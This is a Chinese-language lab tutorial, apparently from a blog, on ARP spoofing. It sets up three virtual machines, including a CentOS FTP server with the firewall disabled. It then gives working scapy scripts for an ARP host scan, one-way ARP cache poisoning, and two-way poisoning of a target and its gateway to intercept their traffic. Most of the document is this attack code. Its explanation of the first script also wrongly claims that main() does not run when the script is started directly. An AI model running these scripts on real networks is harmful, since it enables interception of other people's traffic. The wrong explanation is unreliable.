首先需要配置环境:
选择三台虚拟机,我选择的是:Win2008(充当客户机1),CentOS(充当客户机2),kali(充当攻击者)
1.先让它们在同一网段(比如都在10网段,即Win2008:ip:192.168.10.101 CentOS: ip:192.168.10.102 kali:ip:192.168.10.103),相互可以ping通
2.在CentOS搭建ftp服务器,并添加用户
yum install vsftpd
配置vsftpd.conf 默认位置:/etc/vsftpd/vsftpd.conf anonymous_enable=NO
在CentOS中添加用户 用于ftp连接 :useradd alice –d /home/alice
passwd alice
启动vsftpd :systemctl start vsftpd
关闭防火墙 systemctl stop firewalld / systemctl disable firewalld
3.Win2008连接到CentOSftp服务器:在浏览器输入:ftp://192.168.10.102
4.kali:因为要用到scapy库,但是有的是没有pip的即需要下载pip
以kali2023版为例:下载pip:
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
下载成功后检查:pip -V 出现pip的版本即代表成功
环境搭建成功就可以写代码啦!
扫描某网段的存活主机:
python3 XX.py(XX:你自己定义的python名)
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
ip = "192.168.XX.101"
wifi = "eth0"
p = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.XX.1/24")
ans, unans = srp(p, timeout=2, iface=wifi)
print("一共扫描到%d台主机:" % len(ans))
result = []
for s, r in ans:
result.append([r[ARP].psrc, r[ARP].hwsrc])
result.sort()
for ip, mac in result:
print(ip, "----->", mac)
arp欺骗代码:
#!/usr/bin/python
import sys
import time
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
def arpspoof(ip1,ip2):
try:
pkt=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip1,psrc=ip2)
sendp(pkt)
return
except:
return
def main():
if len(sys.argv)!=3:
print ("输入: ./arp_spoof.py IP1 IP2")
sys.exit()
ip1 = str(sys.argv[1]).strip()
ip2 = str(sys.argv[2]).strip()
while True:
try:
arpspoof(ip1,ip2)
time.sleep(0.5)
except KeyboardInterrupt:
print ("no....")
break
if __name__== '__main__':
main()
def arpspoof(): 这个函数构造并发送一个ARP欺骗数据包。 尝试将目标IP的主机ARP缓存中的MAC地址更改为欺骗者的MAC地址。如果发生任何异常,该函数将返回。
main(): 函数首先检查命令行参数的数量。如果参数数量不等于3(脚本名+两个参数),则显示用法信息并退出程序。 如果参数数量正确,它会从命令行参数中获取目标IP和网关IP。然后,它进入一个无限循环,持续发送ARP欺骗数据包,并在每次发送后休眠0.5秒。 如果用户按下键盘中断(Ctrl+C),则退出循环。 **脚本执行**: 如果直接运行这个脚本(例如通过命令python arp_spoof.py),则if name== 'main':这一行确保main()函数不会被执行。但是,如果你通过命令行参数运行这个脚本,例如python arp_spoof.py 192.168.10.101 192.168.10.254,则main()函数会被执行。
ARP双向欺骗代码:(可以监听被攻击的两台主机的消息)
#!/usr/bin/env python3
from scapy.all import * #导入scapy模块
from optparse import OptionParser #导入命令行参数处理模块optparse
import sys
from scapy.layers.l2 import getmacbyip, Ether, ARP
def main() :
usage = "Usage: [-i interface] [-t targetip] [-g gatewayip]"
parser = OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所选择的网卡,eth0或wlan0,存放在interface变量中
parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻击的ip,存放在targetip变量中
parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 网关ip,存放在gatewayip变量中
(options,args)=parser.parse_args()
if options.interface and options.targetip and options.gatewayip:
interface=options.interface
tip=options.targetip
gip=options.gatewayip
spoof(interface,tip,gip)#将参数传给spoof函数
else:
parser.print_help()#显示帮助
sys.exit(0)
def spoof(interface,tip,gip):#获取命令行的输入实现arp攻击
localmac=get_if_hwaddr(interface)#get_if_hwaddr获取本地网卡MAC地址
tmac=getmacbyip(tip)#根据目标ip获取其MAC地址
gmac=getmacbyip(gip)#根据网关ip获取其MAC地址
ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#构造arp响应包,欺骗目标机器网关的MAC地址为本机MAC地址
pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#构造arp响应包,欺骗网关目标机器的MAC地址为本机MAC地址
try:
while 1:
sendp(ptarget,inter=2,iface=interface)
print ( "send arp reponse to target1(%s),target2(%s) macaddress is %s"%(tip,gip,localmac))
sendp(pgateway,inter=2,iface=interface)
print ( "send arp reponse to target2(%s),target1(%s) macaddress is %s"%(gip,tip,localmac)) #不断发送arp响应包欺骗目标机器和网关,直到ctrl+c结束程序
except KeyboardInterrupt:
sys.exit(0)
if __name__=='__main__':
main()